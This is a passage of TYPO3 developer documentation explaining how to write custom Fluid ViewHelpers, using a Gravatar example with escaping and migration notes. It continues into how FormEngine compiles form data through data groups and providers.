  10 = TEXT
  10.field = title
  20 = TEXT
  20.current = 1
  wrap = (<strong>|</strong>)
}
Copied!

The cObject ViewHelper is a powerful option to use the best advantages of both worlds by making it possible to embed TypoScript expressions in Fluid templates.

Property additionalAttributes

All Fluid ViewHelper that create exactly one HTML tag, tag-based ViewHelpers, can get passed the property additionalAttributes.

A tag-based Fluid ViewHelper generally supports most attributes that are also available in HTML. There are, for example, the attributes class and id, which exist in all tag-based ViewHelpers.

Sometimes attributes are needed that are not provided by the ViewHelper. A common example are data attributes.

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<f:form.textbox additionalAttributes="{data-anything: 'some info', data-something: some.variable}" />
Copied!

The property additionalAttributes is especially helpful if only a few of these additional attributes are needed. Otherwise, it is often reasonable to write an own ViewHelper which extends the corresponding ViewHelper.

The property additionalAttributes is provided by the TagBasedViewHelper so it is also available to custom ViewHelpers based on this class. See chapter Developing a custom ViewHelper.

Developing a custom ViewHelper

Deprecated since version Fluid v2.15 (TYPO3 v13.3 / TYPO3 12.4)

The traits \TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic and \TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithContentArgumentAndRender are deprecated. See section migration.

This chapter demonstrates how to write a custom Fluid ViewHelper in TYPO3.

A "Gravatar" ViewHelper is created, which uses an email address as parameter and shows the picture from gravatar.com if it exists.

The official documentation of Fluid for writing custom ViewHelpers can be found within the Fluid documentation: Creating ViewHelpers.

Fluid

The custom ViewHelper is not part of the default distribution. Therefore a namespace import is necessary to use this ViewHelper. In the following example, the namespace \MyVendor\MyExtension\ViewHelpers is imported with the prefix m. Now, all tags starting with m: are interpreted as ViewHelper from within this namespace. For further information about namespace import, see Import ViewHelper namespaces.

The ViewHelper should be given the name "gravatar" and take an email address and an optional alt-text as a parameters. The ViewHelper is called in the template as follows:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<html
    xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
    xmlns:m="http://typo3.org/ns/MyVendor/MyExtension/ViewHelpers"
    data-namespace-typo3-fluid="true"
>
    <m:gravatar emailAddress="username@example.org" alt="Gravatar icon of user" />
</html>
Copied!

AbstractViewHelper implementation

Every ViewHelper is a PHP class. For the Gravatar ViewHelper, the fully qualified name of the class is \MyVendor\MyExtension\ViewHelpers\GravatarViewHelper.

Example 1: EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\ViewHelpers;

use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

final class GravatarViewHelper extends AbstractViewHelper
{
    protected $escapeOutput = false;

    public function initializeArguments(): void
    {
        // registerArgument($name, $type, $description, $required, $defaultValue, $escape)
        $this->registerArgument(
            'emailAddress',
            'string',
            'The email address to resolve the gravatar for',
            true,
        );
        $this->registerArgument(
            'alt',
            'string',
            'The optional alt text for the image',
        );
    }

    public function render(): string
    {
        $emailAddress = $this->arguments['emailAddress'];
        $altText = $this->arguments['alt'] ?? '';

        // this is improved with the TagBasedViewHelper (see below)
        return sprintf(
            '<img src="https://www.gravatar.com/avatar/%s" alt="%s">',
            md5($emailAddress),
            htmlspecialchars($altText),
        );
    }
}
Copied!

AbstractViewHelper

line 9 extends AbstractViewHelper

Every ViewHelper must inherit from the class \TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper .

A ViewHelper can also inherit from subclasses of \AbstractViewHelper , for example from \TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper . Several subclasses are offering additional functionality. The \AbstractTagBasedViewHelper will be explained later on in this chapter in detail.

Disable escaping the output

line 11 protected $escapeOutput = false;

By default, all output is escaped by htmlspecialchars() to prevent cross site scripting.

Setting the property $escapeOutput to false is necessary to prevent escaping of ViewHelper output.

By setting the property $escapeChildren to false, escaping of the tag content (its child nodes) can be disabled. If this is not set explicitly, the value will be determined automatically: If $escapeOutput: is true, $escapeChildren will be disabled to prevent double escaping. If $escapeOutput: is false, $escapeChildren will be enabled unless disabled explicitly.

Passing in children is explained in Prepare ViewHelper for inline syntax.

initializeArguments()

line 13 public function initializeArguments(): void

The Gravatar ViewHelper must hand over the email address which identifies the Gravatar. An alt text for the image is passed as optional parameter.

ViewHelpers have to register (line 16, $this->registerArgument()) parameters. The registration happens inside method initializeArguments().

In the example above, the ViewHelper receives the argument emailAddress (line 17) of type string (line 18) which is mandatory (line 19). The optional argument alt is defined in lines 22-26.

These arguments can be accessed through the array $this->arguments, in method render().

render()

line 29 public function render(): string

The method render() is called once the ViewHelper is rendered. Its return value can be directly output in Fluid or passed to another ViewHelper.

In line 30 an 31 we retrieve the arguments from the $arguments class property. alt is an optional argument and therefore nullable. Fluid ensures, the declared type is passed for non-null values. These arguments can contain user input.

When escapting is diabled, the render() method is responsible to prevent XSS attacks.

Therefore all arguments must be sanitized before they are returned.

Passing the email address through md5() ensures that we only have a hexadecimal number, it can contain no harmful chars.

The alt text is passed through htmlspecialchars(), therefore potentially harmful chars are escaped.

Creating HTML/XML tags with the AbstractTagBasedViewHelper

Changed in version Fluid Standalone 2.12 / TYPO3 13.2

For ViewHelpers which create HTML/XML tags, Fluid provides an enhanced base class: \TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper . This base class provides an instance of \TYPO3Fluid\Fluid\Core\ViewHelper\TagBuilder that can be used to create HTML-tags. It takes care of the syntactically correct creation and, for example, escapes single and double quotes in attribute values.

line 11 protected $tagName = 'img' configures the name of the HTML/XML tag to be output.

All ViewHelpers extending \AbstractTagBasedViewHelper can receive arbitrary tag attributes which will be appended to the resulting HTML tag and escaped automatically. For example we do not have to declare or escape the alt argument as we did in Example 1.

Because the Gravatar ViewHelper creates an <img> tag the use of the \TagBuilder , stored in class property $this->tag is advised:

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php (Example 2, tag-based)
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\ViewHelpers;

use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;

final class GravatarViewHelper extends AbstractTagBasedViewHelper
{
    protected $tagName = 'img';

    public function initializeArguments(): void
    {
        parent::initializeArguments();
        $this->registerArgument(
            'emailAddress',
            'string',
            'The email address to resolve the gravatar for',
            true,
        );
        // The alt argument will be automatically registered
    }

    public function render(): string
    {
        $emailAddress = $this->arguments['emailAddress'];
        $this->tag->addAttribute(
            'src',
            'https://www.gravatar.com/avatar/' . md5($emailAddress),
        );
        return $this->tag->render();
    }
}
Copied!

line 32 $this->tag->render() creates the <img> tag with all explicitly added arguments (line 28-31 $this->tag->addAttribute()) and all arbitrary tag attributes passed to the ViewHelper when it is used.

AbstractTagBasedViewHelper

line 6 class GravatarViewHelper extends AbstractTagBasedViewHelper

The ViewHelper does not inherit directly from \AbstractViewHelper but from \AbstractTagBasedViewHelper , which provides and initializes the \TagBuilder and passes on and escapes arbitrary tag attributes.

$tagName

line 9 protected $tagName = 'img';

There is a class property $tagName which stores the name of the tag to be created ( <img>).

$this->tag->addAttribute()

line 28 - 31 $this->tag->addAttribute(...)

The tag builder is available as class property $this->tag. It offers the method TagBuilder::addAttribute() to add new tag attributes. In our example the attribute src is added to the tag.

$this->tag->render()

line 32 return $this->tag->render();

The GravatarViewHelper creates an img tag builder, which has a method named render(). After configuring the tag builder instance, the rendered tag markup is returned.

$this->registerTagAttribute()

Deprecated since version Fluid standalone 2.12 / TYPO3 v13.2

The methods php:$this->registerTagAttribute() and registerUniversalTagAttributes() have been deprecated. They can be removed on dropping TYPO3 v12.4 support.

Migration: Remove registerUniversalTagAttributes and registerTagAttribute

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php
 public function initializeArguments(): void
 {
     parent::initializeArguments();
+    $this->registerUniversalTagAttributes();
+    $this->registerTagAttribute('alt', 'string', 'Alternative Text for the image');
 }
Copied!

When removing the call, attributes registered by the call are now available in $this->additionalArguments, and no longer in $this->arguments. This may need adaption within single ViewHelpers, if they handle such attributes on their own.

If you need to support both TYPO3 v12.4 and v13, you can leave the calls in until dropping TYPO3 v12.4 support.

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php
 public function initializeArguments(): void
 {
     parent::initializeArguments();
+    // TODO: Remove registerUniversalTagAttributes and registerTagAttribute
+    // On dropping TYPO3 v12.4 support.
     $this->registerUniversalTagAttributes();
     $this->registerTagAttribute('alt', 'string', 'Alternative Text for the image');
 }
Copied!

Insert optional arguments with default values

An optional size for the image can be provided to the Gravatar ViewHelper. This size parameter will determine the height and width in pixels of the image and can range from 1 to 512. When no size is given, an image of 80px is generated.

The render() method can be improved like this:

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\ViewHelpers;

use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;

final class GravatarViewHelper extends AbstractTagBasedViewHelper
{
    public function initializeArguments(): void
    {
        $this->registerArgument(
            'emailAddress',
            'string',
            'The email address to resolve the gravatar for',
            true,
        );
        $this->registerArgument(
            'size',
            'integer',
            'The size of the gravatar, ranging from 1 to 512',
            false,
            80,
        );
    }

    public function render(): string
    {
        $emailAddress = $this->arguments['emailAddress'];
        $size = $this->arguments['size'];
        $this->tag->addAttribute(
            'src',
            sprintf(
                'http://www.gravatar.com/avatar/%s?s=%s',
                md5($emailAddress),
                urlencode($size),
            ),
        );
        return $this->tag->render();
    }
}
Copied!

With this setting of a default value and setting the fourth argument to false, the size attribute becomes optional.

Prepare ViewHelper for inline syntax

Deprecated since version Fluid v2.15 (TYPO3 v13.3 / TYPO3 12.4)

In former versions this was done by using the now deprecated trait \CompileWithContentArgumentAndRender . See section migration.

So far, the Gravatar ViewHelper has focused on the tag structure of the ViewHelper. The call to render the ViewHelper was written with tag syntax, which seemed obvious because it itself returns a tag:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
<m:gravatar emailAddress="{post.author.emailAddress}" />
Copied!

Alternatively, this expression can be written using the inline notation:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{m:gravatar(emailAddress: post.author.emailAddress)}
Copied!

One should see the Gravatar ViewHelper as a kind of post-processor for an email address and would allow the following syntax:

EXT:my_extension/Resources/Private/Templates/SomeTemplate.html
{post.author.emailAddress -> m:gravatar()}
Copied!

This syntax places focus on the variable that is passed to the ViewHelper as it comes first.

The syntax {post.author.emailAddress -> m:gravatar()} is an alternative syntax for <m:gravatar>{post.author.emailAddress}</m:gravatar>. To support this, the email address comes either from the argument emailAddress or, if it is empty, the content of the tag should be interpreted as email address.

This is typically used with formatting ViewHelpers. These ViewHelpers all support both tag mode and inline syntax.

Depending on the implemented method for rendering, the implementation is different:

To fetch the content of the ViewHelper the method renderChildren() is available in the \AbstractViewHelper . This returns the evaluated object between the opening and closing tag.

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php (Example 3, with content arguments)
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\ViewHelpers;

use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;

final class GravatarViewHelper extends AbstractTagBasedViewHelper
{
    protected $tagName = 'img';

    public function initializeArguments(): void
    {
        $this->registerArgument(
            'emailAddress',
            'string',
            'The email address to resolve the gravatar for',
            // The argument is optional now
        );
    }

    public function render(): string
    {
        $emailAddress = $this->renderChildren();

        // The children of the ViewHelper might be empty now
        if ($emailAddress === null) {
            throw new \Exception(
                'The Gravatar ViewHelper expects either the '
                . 'argument "emailAddress" or the content to be set. ',
                1726035545,
            );
        }
        // Or someone could pass a non-string value
        if (!is_string($emailAddress) || !filter_var($emailAddress, FILTER_VALIDATE_EMAIL)) {
            throw new \Exception(
                'The Gravatar ViewHelper expects a valid ' .
                'e-mail address as input. ',
                1726035546,
            );
        }

        $this->tag->addAttribute(
            'src',
            'https://www.gravatar.com/avatar/' . md5($emailAddress),
        );

        return $this->tag->render();
    }

    public function getContentArgumentName(): string
    {
        return 'emailAddress';
    }
}
Copied!

Handle additional arguments

Changed in version Fluid Standalone 2.12 / TYPO3 13.2

If a ViewHelper allows further arguments which have not been explicitly configured, the handleAdditionalArguments() method can be implemented.

ViewHelper implementing \AbstractTagBasedViewHelper do not need to use this as all arguments are passed on automatically.

The different render methods

ViewHelpers can have one or more of the following methods for implementing the rendering. The following section will describe the differences between the implementations.

compile()-Method

This method can be overwritten to define how the ViewHelper should be compiled. That can make sense if the ViewHelper itself is a wrapper for another native PHP function or TYPO3 function. In that case, the method can return the call to this function and remove the need to call the ViewHelper as a wrapper at all.

The compile() has to return the compiled PHP code for the ViewHelper. Also the argument $initializationPhpCode can be used to add further PHP code before the execution.

Example implementation:

EXT:my_extension/Classes/ViewHelpers/StrtolowerViewHelper.php
<?php

declare(strict_types=1);

namespace MyVendor\BlogExample\ViewHelpers;

use TYPO3Fluid\Fluid\Core\Compiler\TemplateCompiler;
use TYPO3Fluid\Fluid\Core\Parser\SyntaxTree\ViewHelperNode;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

final class StrtolowerViewHelper extends AbstractViewHelper
{
    public function initializeArguments(): void
    {
        $this->registerArgument('string', 'string', 'The string to lowercase.', true);
    }

    public function compile(
        $argumentsName,
        $closureName,
        &$initializationPhpCode,
        ViewHelperNode $node,
        TemplateCompiler $compiler,
    ): string {
        return sprintf("strtolower(%s['string'])", $argumentsName);
    }
}
Copied!

renderStatic() method

Deprecated since version Fluid v2.15 (TYPO3 v13.3 / TYPO3 12.4)

The trait \CompileWithRenderStatic , which is responsible for calling renderStatic() is deprecated. See section migration.

render() method

Most of the time, this method is implemented.

Migration: Remove deprecated compliling traits

Migration: Remove deprecated trait CompileWithRenderStatic

To remove the deprecated trait \TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic switch to use the render() method instead of the renderStatic().

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php (diff removing CompileWithRenderStatic)
 <?php

 declare(strict_types=1);

 namespace MyVendor\MyExtension\ViewHelpers;

-use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
 use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;
-use TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic;

 final class GravatarViewHelper extends AbstractViewHelper
 {
-    use CompileWithRenderStatic;
-
     protected $escapeOutput = false;

     public function initializeArguments(): void
     {
         // registerArgument($name, $type, $description, $required, $defaultValue, $escape)
         $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for', true);
     }

-    public static function renderStatic(array $arguments, \Closure $renderChildrenClosure, RenderingContextInterface $renderingContext): string {
+    public function render(): string {
-        $emailAddress = $arguments['emailAddress'];
+        $emailAddress = $this->arguments['emailAddress'];
         return sprintf('<img src="https://www.gravatar.com/avatar/%s">', md5($emailAddress));
     }
 }
Copied!
line 13
Remove the trait \CompileWithRenderStatic .
lines 23, 24
Switch the render method from renderStatic() to render().
lines 25, 26
Fetch the arguments from the class property instead method argument.

Migration: Remove deprecated trait CompileWithContentArgumentAndRenderStatic

If \TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithContentArgumentAndRender was also used in your ViewHelper implementation, further steps are needed:

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php (diff removing CompileWithContentArgumentAndRender)
 <?php

 declare(strict_types=1);

 namespace MyVendor\MyExtension\ViewHelpers;

-use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
 use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;
-use TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithContentArgumentAndRenderStatic;

 final class GravatarViewHelper extends AbstractViewHelper
 {
-    use CompileWithContentArgumentAndRenderStatic;
-
     protected $escapeOutput = false;

     public function initializeArguments(): void
     {
         $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for');
     }

-    public static function renderStatic(array $arguments, \Closure $renderChildrenClosure, RenderingContextInterface $renderingContext): string {
+    public function render(): string {
-        $emailAddress = $renderChildrenClosure();
+        $emailAddress = $this->renderChildren();

         return sprintf('<img src="https://www.gravatar.com/avatar/%s" />', md5($emailAddress));
     }

     public function getContentArgumentName(): string
     {
         return 'emailAddress';
     }
 }
Copied!
line 13
Remove the trait \CompileWithContentArgumentAndRender .
lines 22, 23
Switch the render method from renderStatic() to render().
lines 24, 25
Use the non-static method $this->renderChildren() instead of the closure $renderChildrenClosure().

Remove calls to removed renderStatic() method of another ViewHelper

If you called a now removed renderStatic() method from within another ViewHelper's renderStatic() method you can replace the code like this:

EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php (diff replacing renderStatic() calls)
 <?php

 declare(strict_types=1);

 namespace MyVendor\MyExtension\ViewHelpers;

-use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
 use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;
-use TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic;

 final class GravatarViewHelper extends AbstractViewHelper
 {
-    use CompileWithRenderStatic;
-
     protected $escapeOutput = false;

     public function initializeArguments(): void
     {
         $this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for', true);
     }

-    public static function renderStatic(array $arguments, \Closure $renderChildrenClosure, RenderingContextInterface $renderingContext): string
+    public function render(): string
     {
-        $emailAddress = $arguments['emailAddress'];
+        $emailAddress = $this->arguments['emailAddress'];
-        $gravatorUrl = GravatarUrlViewHelper::renderStatic(['email', $emailAddress], $renderChildrenClosure, $renderingContext);
+        $gravatarUrl = $this->renderingContext->getViewHelperInvoker()->invoke(
+            GravatarUrlViewHelper::class,
+            ['email', $emailAddress],
+            $this->renderingContext,
+            $this->renderChildren(),
+        );

         return sprintf('<img src="%s" />', $gravatarUrl);
     }
 }
Copied!
line 27, 28ff

Replace the static call to the renderStatic() method of another ViewHelper by calling $this->renderingContext->getViewHelperInvoker()->invoke() instead.

See also \TYPO3Fluid\Fluid\Core\ViewHelper\ViewHelperInvoker .

How to access classes in the ViewHelper implementation

Custom ViewHelper implementations support Dependency injection.

You can, for example, inject the ConnectionPool to access the database by using the database abstraction layer DBAL.

Some objects depend on the current context and can be fetched from the rendering context:

Accessing the current Request in a ViewHelper implementation

You can use a render() method in the ViewHelper implementation to get the current \ServerRequestInterface object from the RenderingContext :

EXT:my_extension/Classes/ViewHelpers/SomeViewHelper.php
public function render()
{
    $request = $this->renderingContext->getRequest();
    return 'Hello World!';
}
Copied!

Using stdWrap / fetching the current ContentObject in a ViewHelper implementation

You can access the ContentObjectRenderer from the \ServerRequestInterface :

EXT:my_extension/Classes/ViewHelpers/SomeViewHelper.php
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;

public function render()
{
    $request = $this->renderingContext->getRequest();
    $cObj = $request->getAttribute('currentContentObject');
    return $cObj->stdWrap('Hello World', ['wrap' => '|!']);
}
Copied!

Deprecated since version 13.4

The class TypoScriptFrontendController and its global instance $GLOBALS['TSFE'] , which were formerly used to fetch the ContentObjectRenderer, have been marked as deprecated. The class will be removed in TYPO3 v14. See TSFE for migration steps.

Introduction

Looking at TYPO3's main constructs from an abstract position, the system splits into three most important pillars:

DataHandler
TYPO3\CMS\Core\DataHandling\...: Construct taking care of persisting data into the database. The DataHandler takes an array representing one or more records, inserts, deletes or updates them in the database and takes care of relations between multiple records. If editing content in the backend, this construct does all main database munging. DataHandler is fed by some controller that most often gets GET or POST data from FormEngine.
FormEngine
TYPO3\CMS\Backend\Form\...: FormEngine renders records, usually in the backend. It creates all the HTML needed to edit complex data and data relations. Its GET or POST data is then fed to the DataHandler by some controller.
Frontend rendering
TYPO3\CMS\Frontend\...: Renders the website frontend. The frontend rendering, usually based on \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController uses TypoScript and / or Fluid to process and render database content into the frontend.

The glue between these three pillars is TCA (Table Configuration Array): It defines how database tables are constructed, which localization or workspace facilities exist, how it should be displayed in the backend, how it should be written to the database, and - next to TypoScript - which behaviour it has in the frontend.

This chapter is about FormEngine. It is important to understand this construct is based on TCA and is usually used in combination with the DataHandler. However, FormEngine is constructed in a way that it can work without DataHandler: A controller could use the FormEngine result and process it differently. Furthermore, all dependencies of FormEngine are abstracted and may come from "elsewhere", still leading to the form output known for casual records.

This makes FormEngine an incredible flexible construct. The basic idea is "feed something that looks like TCA and render forms that have the full power of TCA but look like all other parts of the backend".

This chapter explains the main constructs of FormEngine and gives an insight on how to re-use, adapt and extend it with extensions. The Core Team expects to see more usages of FormEngine within the Core itself and within extensions in the future, and encourages developers to solve feature needs based on FormEngine. With the ongoing changes, those areas that may need code adaptions in the foreseeable future have notes within the documentation and developers should be available to adapt with younger cores. Watch out for breaking changes if using FormEngine and updating the Core.

Main rendering workflow

This is done by example. The details to steer and how to use only sub-parts of the rendering chain are explained in more detail in the following sections.

Editing a record in the backend - often from within the Page or List module - triggers the EditDocumentController by routing definitions using UriBuilder->buildUriFromRoute($moduleIdentifier) and handing over which record of which table should be edited. This can be an existing record, or it could be a command to create the form for a new record. The EditDocumentController is the main logic triggered whenever an editor changes a record!

The EditDocumentController has two main jobs: Trigger rendering of one or multiple records via FormEngine, and hand over any given data by a FormEngine POST result over to the DataHandler to persist stuff in the database.

The rendering part of the EditDocumentController job splits into these parts:

  • Initialize main FormEngine data array using POST or GET data to specify which specific record(s) should be edited.
  • Select which group of DataProviders should be used.
  • Trigger FormEngine DataCompiler to enrich the initialized data array with further data by calling all data providers specified by selected data provider group.
  • Hand over DataCompiler result to an entry "render container" of FormEngine and receive a result array.
  • Take result array containing HTML, CSS and JavaScript details and put them into FormResultCompiler which hands them over to the PageRenderer.
  • Let the PageRenderer output its compiled result.
Main FormEngine workflow

The controller does two distinct things here: First, it initializes a data array and lets it get enriched by data providers of FormEngine which add all information needed for the rendering part. Then feed this data array to the rendering part of FormEngine to end up with a result array containing all HTML, CSS and JavaScript.

In code, this basic workflow looks like this:

EXT:my_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Backend\Form\FormDataCompiler;
use TYPO3\CMS\Backend\Form\FormDataGroup\TcaDatabaseRecord;
use TYPO3\CMS\Backend\Form\FormResultCompiler;
use TYPO3\CMS\Backend\Form\NodeFactory;

final class SomeClass
{
    public function __construct(
        private readonly TcaDatabaseRecord $formDataGroup,
        private readonly FormDataCompiler $formDataCompiler,
        private readonly NodeFactory $nodeFactory,
        private readonly FormResultCompiler $formResultCompiler,
    ) {}

    /**
     * @throws \TYPO3\CMS\Backend\Form\Exception
     */
    public function someMethod(string $request, string $table, int $theUid, string $command): void
    {
        $formDataCompilerInput = [
            'request' => $request, // the PSR-7 request object
            'tableName' => $table,
            'vanillaUid' => $theUid,
            'command' => $command,
        ];
        $formData = $this->formDataCompiler->compile($formDataCompilerInput, $this->formDataGroup);
        $formData['renderType'] = 'outerWrapContainer';
        $formResult = $this->nodeFactory->create($formData)->render();
        $this->formResultCompiler->mergeResult($formResult);
    }
}
Copied!

This basically means the main FormEngine concept is a two-fold process: First create an array to gather all render-relevant information, then call the render engine using this array to come up with output.

This two-fold process has a number of advantages:

  • The data compiler step can be regulated by a controller to only enrich with stuff that is needed in any given context. This part is supported by encapsulating single data providers in data groups, single data providers can be omitted if not relevant in given scope.
  • Data providing and rendering is split: Controllers could re-use the rendering part of FormEngine while all or parts of the data providers are omitted, or their data comes from "elsewhere". Furthermore, controllers can re-use the data providing part of FormEngine and output the result in an entirely different way than HTML. The latter is for instance used when FormEngine is triggered for a TCA tree by an Ajax call and thus outputs a JSON array.
  • The code constructs behind "data providing" and "rendering" can be different to allow higher re-use and more flexibility with having the "data array" as main communication base in between. This will become more obvious in the next sections where it is shown that data providers are a linked list, while rendering is a tree.

Data compiling

This is the first step of FormEngine. The data compiling creates an array containing all data the rendering needs to come up with a result.

A basic call looks like this:

$formDataGroup = GeneralUtility::makeInstance(TcaDatabaseRecord::class);
$formDataCompiler = GeneralUtility::makeInstance(FormDataCompiler::class);
$formDataCompilerInput = [
    'request' => $request, // the PSR-7 request object
    'tableName' => $table,
    'vanillaUid' => (int)$theUid,
    'command' => $command,
];
$formData = $formDataCompiler->compile($formDataCompilerInput, $formDataGroup);
Copied!

Changed in version 13.0

The FormEngine data provider requires the current PSR-7 request object passed with the input data. Additionally, the form data group must be provided as second argument to compile().

The above code is a simplified version of the relevant part of the EditDocumentController. This controller knows by its GET or POST parameters which record ("vanillaUid") of which specific table ("tableName") should be edited (command="edit") or created (command="new"), and sets this as init data to the DataCompiler. The controller also knows that it should render a full database record and not only parts of it, so it uses the TcaDatabaseRecord data provider group to trigger all data providers relevant for this case. By calling ->compile() on this data group, all providers configured for this group are called after each other, and formData ends up with a huge array of data record details.

So, what happens here in detail?

  • Variable $formDataCompilerInput maps input values to keys specified by FormDataCompiler as "init" data.
  • FormDataCompiler returns a unified array of data. This array is enriched by single data providers.
  • A data provider group is a list of single data providers for a specific scope and enriches the array with information.
  • Each data provider is called by the DataGroup to add or change data in the array.

The variable $formData roughly consists of this data after calling $formDataCompiler->compile():

  • A validated and initialized list of current database row field variables.
  • A processed version of $TCA['givenTable'] containing only those column fields a current user has access to.
  • A processed list of items for single fields like select and group types.
  • A list of relevant localizations.
  • Information of expanded inline record details if needed.
  • Resolved flex form data structures and data.
  • A lot more

Basic goal of this step is to create an array in a specified format with all data needed by the render-part of FormEngine. A controller initializes this with init data, and then lets single data providers fetch additional data and write it to the main array. The deal is here that the data within that array is not structured in an arbitrary way, and each single data provider only adds data the render part of FormEngine understands and needs later. This is why the main array keys are restricted: The main array is initialized by FormDataCompiler, and each DataProvider can only add data to sub-parts of that array.

Data Groups and Providers

So we have this empty data array, pre-set with data by a controller and then initialized by FormDataCompiler, which in turn hands over the data array to a specific FormDataGroup. What are these data providers now? Data providers are single classes that add or change data within the data array. They are called in a chain after each other. A FormDataGroup has the responsibility to find out, which specific single data providers should be used, and calls them in a specific order.

Data compiling by multiple providers

Why do we need this?

  • Which data providers are relevant depends on the specific scope: For instance, if editing a full database based record, one provider fetches the according row from the database and initializes $data['databaseRow'] . But if flex form data is calculated, the flex form values are fetched from table fields directly. So, while the DatabaseEditRow data provider is needed in the first case, it's not needed or even counter productive in the second case. The FormDataGroup's are used to manage providers for specific scopes.
  • FormDataGroups know which providers should be used in a specific scope. They usually fetch a list of providers from some global configuration array. Extensions can add own providers to this configuration array for further data munging.
  • Single data providers have dependencies to each other and must be executed in a specific order. For instance, the page TSconfig of a record can only be determined, if the rootline of a record has been determined, which can only happen after the pid of a given record has been consolidated, which relies on the record being fetched from the database. This makes data providers a linked list and it is the task of a FormDataGroup to manage the correct order.

Main data groups:

TcaDatabaseRecord
List of providers used if rendering a database based record.
FlexFormSegment
List of data providers used to prepare flex form data and flex form section container data.
TcaInputPlaceholderRecord
List of data providers used to prepare placeholder values for type=input and type=text fields.
InlineParentRecord
List of data providers used to prepare data needed if an inline record is opened from within an Ajax call.
OnTheFly
A special data group that can be initialized with a list of to-execute data providers directly. In contrast to the others, it does not resort the data provider list by its dependencies and does not fetch the list of data providers from a global config. Used in the Core at a couple of places, where a small number of data providers should be called right away without being extensible.

Let's have a closer look at the data providers. The main TcaDatabaseRecord group consists mostly of three parts:

Main record data and dependencies:

  • Fetch record from DB or initialize a new row depending on $data['command'] being "new" or "edit", set row as $data['databaseRow']
  • Add user TSconfig and page TSconfig to data array
  • Add table TCA as $data['processedTca']
  • Determine record type value
  • Fetch record translations and other details and add to data array

Single field processing:

  • Process values and items of simple types like type=input, type=radio, type=check and so on. Validate their databaseRow values and validate and sanitize their processedTca settings.
  • Process more complex types that may have relations to other tables like type=group and type=select, set possible selectable items in $data['processedTca'] of the according fields, sanitize their TCA settings.
  • Process type=inline and type=flex fields and prepare their child fields by using new instances of FormDataCompiler and adding their results to $data['processedTca'].

Post process after single field values are prepared:

  • Execute display conditions and remove fields from $data['processedTca'] that shouldn't be shown.
  • Determine main record title and set as $data['recordTitle']

Extending Data Groups With Own Providers

The base set of DataProviders for all DataGroups is defined within typo3/sysext/core/Configuration/DefaultConfiguration.php in section ['SYS']['formEngine']['formDataGroup'], and ends up in variable $GLOBALS['TYPO3_CONF_VARS'] after Core bootstrap. The provider list can be read top-down, so the DependencyOrderingService typically does not resort this list to a different order.

Adding an own provider to this list means adding an array key to that array having a specification where the new data provider should be added in the list. This is done by the arrays depends and before.

As an example, the extension "news" used an own data provider in a past version to do additional flex form data structure preparation. The Core internal flex preparation is already split into two providers: TcaFlexPrepare determines the data structure and parses it, TcaFlexProcess uses the prepared data structure, processes values and applies defaults if needed. The data provider from the extension "news" hooks in between these two to add some own preparation stuff. The registration happens with this code in ext_localconf.php:

EXT:news/ext_localconf.php
<?php

declare(strict_types=1);

use GeorgRinger\News\Backend\FormDataProvider\NewsFlexFormManipulation;
use TYPO3\CMS\Backend\Form\FormDataProvider\TcaFlexPrepare;
use TYPO3\CMS\Backend\Form\FormDataProvider\TcaFlexProcess;

defined('TYPO3') or die();

// Inject a data provider between TcaFlexPrepare and TcaFlexProcess
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['formDataGroup']['tcaDatabaseRecord'][NewsFlexFormManipulation::class] = [
    'depends' => [
        TcaFlexPrepare::class,
    ],
    'before' => [
        TcaFlexProcess::class,
    ],
];
Copied!

This is pretty powerful since it allows extensions to hook in additional stuff at any point of the processing chain, and it does not depend on the load order of extensions.

Limitations:

  • It is not easily possible to "kick out" an existing provider if other providers have dependencies to them - which is usually the case.
  • It is not easily possible to substitute an existing provider with an own one.

Adding Data to Data Array

